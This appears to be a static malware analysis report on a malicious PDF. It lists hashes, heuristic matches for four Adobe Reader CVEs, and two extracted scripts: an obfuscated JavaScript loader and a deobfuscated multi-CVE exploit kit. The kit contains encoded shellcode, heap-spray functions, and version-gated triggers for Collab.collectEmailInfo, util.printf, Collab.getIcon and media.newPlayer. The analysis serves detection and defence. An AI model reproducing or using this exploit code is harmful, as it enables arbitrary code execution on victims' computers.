Malicious PDF — malware analysis report

Static analysis result for SHA-256 7c6ea90cf7c13f64…

MALICIOUS

PDF

44.5 KB
MD5: d7ea3ac27d8937475694c694129aadc9 SHA-1: 1520428597e76e4fc3c8f91fb6de18869872180d SHA-256: 7c6ea90cf7c13f649837af2d513d02680293d0a03df84c5617589866d694e722
408 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that leverages multiple known vulnerabilities in Adobe Reader, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript appears to be a multi-CVE exploit kit designed to gain code execution. The primary goal is likely to download and execute a second-stage payload, although the specific payload and its destination are not directly observable from the provided evidence.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js
afa00291f665b37e5c9b9ea5da8a53f797c1a1afa4db1a5613ed565402344ae8		 pdf-javascript-stream PDF /JS object 1 at offset 0xAF55 446 bytes
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
qxt='';
mtyr=('qwrwqr','tit');
e('qdum=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
nxjgb=e('String.fro'+qdum.substr(0,9));
nosw = e(qdum.substr(9)['replace'](/u/g,','));
e('k=nosw.length');
for (i = 0; i < k; i+=2) {
	puwyo = nosw[i+1] + ('erybjkerl',nosw[i]);
	qxt += nxjgb(puwyo);
}
e(qxt);
legacy_pdfkit_stage_000.js
30914bf3eee722aa9fd557c4a92e8f55b0a61dfa3e90150a6b1e4d710a5067fb		 deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3636 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%ue434%ue2aa%uc3fa%ue5e8%uffff%u0dff%ue5e8%ue4e4%u65ba%ub808%ue4e5%u6de4%u6903%uf4ab%u8b69%ud5b0%ub33f%ub7b5%ub7b7%ub7b7%ub7b7%ub7b1%u8cb7%ue5e0%ue4e4%ub2b1%u8cb7%u8a8b%ue4e4%u918c%u8896%ub089%u6a8c%ueaaa%u0c08%ue4ac%ue4e4%u0cb4%ue498%ue4e4%u341b%u2067%u8cec%u0bab%ue1ab%u0cb4%ue488%ue4e4%u341b%u2461%uf391%ub08e%u17bd%u8c4e%u1a96%uf257%uf90c%ue4e4%ub4e4%ub50c%ue4e4%u1be4%ub734%u1a8e%u6d8c%ue58b%u0c59%ue4ec%ue4e4%u0cb4%ue4d8%ue4e4%u341b%ud584%u8024%ub46f%u6fd4%ue8b6%ub66f%u6ff0%ucc96%ufc5d%ue4e4%ud5e4%ud51b%u4824%u85d8%ue698%uc4c8%u2b25%ue5e9%u0623%u6514%ubf1b%uae58%u6f8e%uf4a6%uf66f%u3d91%ua06d%uf8c0%u2785%u6f84%uc088%u6fc0%ud8a1%ub06f%u9ce1%u0ee5%uae6f%u6ffc%uc4be%u0fe5%ud007%u6fad%u6fd0%u0ae5%u1bd5%u24d5%u4818%u2460%ue390%u2b25%ue5e9%u0f23%udf10%uc098%u91cc%u6f05%uc0be%u0fe5%u6f82%uafe8%ube6f%ue5f8%u6f0f%u6fe0%u0ce5%ua06d%uf8c0%u2685%ue4ec%u0b0c%u1b1a%u8c1b%u9090%ude94%ucbcb%u8fd6%u8f88%u87ca%uca9e%u8787%u8fcb%u94ca%u948c%u82db%ud6d9%uc2d6%ud981%ue4d1';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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